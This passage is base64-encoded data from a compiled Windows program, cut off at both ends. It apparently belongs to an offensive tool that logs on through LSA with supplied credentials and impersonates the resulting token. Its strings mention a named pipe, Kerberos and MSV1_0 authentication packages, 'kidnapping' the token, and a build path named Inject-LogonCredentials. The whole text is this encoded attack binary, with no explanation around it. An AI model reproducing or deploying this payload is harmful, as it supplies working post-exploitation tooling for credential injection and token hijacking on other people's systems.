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ACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIABoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQGBAYEBgQGBAYEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAEAAQABAAEAAQAIIBggGCAYIBggGCAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQABAAEAAQACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABQAFAAQABAAEAAQABAAFAAQABAAEAAQABAAEAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAABAQEBAQEBAQEBAQEBAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAAgECAQIBAgECAQIBAgECAQEBAAAAAAAAAAAAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/QwBPAE4ATwBVAFQAJAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AQQAAABcAAABnZW5lcmljAHVua25vd24gZXJyb3IAAABpb3N0cmVhbQAAAAAAAAAAaW9zdHJlYW0gc3RyZWFtIGVycm9yAAAAc3lzdGVtAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAAAAAAAAUmVjZWl2ZWQgYW4gaW52YWxpZCBhdXRoIHBhY2thZ2UgZnJvbSB0aGUgbmFtZWQgcGlwZQAAAABDYWxsIHRvIExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZSBmYWlsZWQuIEVycm9yIGNvZGU6IAAAAAAAQ2FsbCB0byBPcGVuUHJvY2Vzc1Rva2VuIGZhaWxlZC4gRXJyb3Jjb2RlOiAAAAAAQ2FsbCB0byBHZXRUb2tlbkluZm9ybWF0aW9uIGZhaWxlZC4AAAAAAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAAAAAAAAAAAATG9nb24gc3VjY2VlZGVkLCBpbXBlcnNvbmF0aW5nIHRoZSB0b2tlbiBzbyBpdCBjYW4gYmUga2lkbmFwcGVkIGFuZCBzdGFydGluZyBhbiBpbmZpbml0ZSBsb29wIHdpdGggdGhlIHRocmVhZC4AACVsdQAlZAAAJWxkAAAAAAAiBZMZBAAAAERWAQACAAAAZFYBAAgAAAC0VgEAIAAAAAAAAAABAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8HABgAEAAAAAAAAAAAAAAAAAAAAAAAAAUlNEU8o6DX7lQ19Hk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mFpc2VFeGNlcHRpb24AAMIEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAyARSdGxVbndpbmRFeACGA0lzRGVidWdnZXJQcmVzZW50AIsDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudABzAUV4aXRQcm9jZXNzAIYCR2V0TW9kdWxlSGFuZGxlRXhXAAC8AkdldFByb2NBZGRyZXNzAADvA011bHRpQnl0ZVRvV2lkZUNoYXIAXwNIZWFwU2l6ZQAA5AJHZXRTdGRIYW5kbGUAAIMCR2V0TW9kdWxlRmlsZU5hbWVXAABaA0hlYXBGcmVlAABWA0hlYXBBbGxvYwAlBVNldExhc3RFcnJvcgAAwQJHZXRQcm9jZXNzSGVhcAAAXgJHZXRGaWxlVHlwZQBvA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAHwFEZWxldGVDcml0aWNhbFNlY3Rpb24A3gJHZXRTdGFydHVwSW5mb1cAggJHZXRNb2R1bGVGaWxlTmFtZUEAAD8EUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAKgJHZXRDdXJyZW50UHJvY2Vzc0lkAPsCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUARwJHZXRFbnZpcm9ubWVudFN0cmluZ3NXAAC9AUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAO0FV2lkZUNoYXJUb011bHRpQnl0ZQC7BFJ0bENhcHR1cmVDb250ZXh0AMkEUnRsVmlydHVhbFVud2luZAAAoAVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAF8FU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAH4FVGVybWluYXRlUHJvY2VzcwAAkAVUbHNBbGxvYwAAkgVUbHNHZXRWYWx1ZQCTBVRsc1NldFZhbHVlAJEFVGxzRnJlZQCHAkdldE1vZHVsZUhhbmRsZVcAAEQBRW50ZXJDcml0aWNhbFNlY3Rpb24AAMADTGVhdmVDcml0aWNhbFNlY3Rpb24AAMUDTG9hZExpYnJhcnlFeFcAAJADSXNWYWxpZENvZGVQYWdlAMQBR2V0QUNQAACnAkdldE9FTUNQAADTAUdldENQSW5mbwBdA0hlYXBSZUFsbG9jABgET3V0cHV0RGVidWdTdHJpbmdXAADGA0xvYWRMaWJyYXJ5VwAAtANMQ01hcFN0cmluZ1cAAPwBR2V0Q29uc29sZUNQAAAOAkdldENvbnNvbGVNb2RlAAAYBVNldEZpbGVQb2ludGVyRXgAAOkCR2V0U3RyaW5nVHlwZVcAAD0FU2V0U3RkSGFuZGxlAAAABldyaXRlQ29uc29sZVcAswFGbHVzaEZpbGVCdWZmZXJzAACOAENsb3NlSGFuZGxlAAAAAAAAAAAAAAAA